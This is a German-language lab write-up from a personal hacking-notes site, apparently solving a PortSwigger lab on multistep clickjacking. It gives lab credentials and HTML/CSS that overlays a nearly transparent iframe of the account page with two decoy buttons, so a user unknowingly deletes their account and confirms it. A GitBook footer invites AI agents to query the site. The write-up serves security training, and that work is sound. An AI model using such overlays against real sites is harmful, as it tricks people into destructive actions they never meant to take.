> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/clickjacking/multistep-clickjacking.md).

# Mehrstufiges Clickjacking

### Mehrstufiges Clickjacking

**Ziel:** den Nutzer dazu bringen, auf die Schaltfläche Konto löschen zu klicken und dann den Bestätigungsdialog zu bestätigen, indem er nacheinander auf zwei Köder klickt: **"Klick mich zuerst"** dann **"Klick mich als Nächstes"**.

**Anmeldedaten, die zum Verbinden mit dem Konto bereitgestellt werden (Lab):** `wiener:peter`

* Die Seite enthält einen **Konto löschen** Button, gefolgt von einem Bestätigungsfeld ("Sind Sie sicher?") — daher müssen Sie zwei aufeinanderfolgende Aktionen auslösen.

<figure><img src="/files/360ee8f9905c789c45d09ae335ecc5ad0b018f39" alt=""><figcaption></figcaption></figure>

* Die Idee ist, zwei anklickbare Bereiche (div-Köder) über eine `iframe` das auf die `/my-account` Seite zu legen: Das erste Ziel ist der **Konto löschen** Button, das zweite Ziel ist die Bestätigungsschaltfläche, die dann erscheint.

<figure><img src="/files/e0ad0aafe1441fc1bbb2302476521e74873bcd38" alt="" width="563"><figcaption></figcaption></figure>

* Wir machen das iframe halbtransparent (oder mit geringer Deckkraft), damit der Nutzer den Köder sieht, aber tatsächlich auf die Elemente der Zielseite klickt.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Klick mich zuerst</div>
<div class="next" Klick mich als Nächstes</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/e17e794c9ac3cf625dac4ac0121ec6ff7615cfa7" alt="" width="429"><figcaption></figcaption></figure>

Der folgende Code positioniert das iframe, platziert zwei Köder und zeigt den zweiten Köder erst nach einem Klick auf den ersten an. `iframe` zeigt auf die `/my-account` Lab-URL

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Klick mich zuerst</div>
<div class="next">Klick mich als Nächstes</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/92f0f2f0adde3aa319ac4a4f205e12f1ae21225f" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
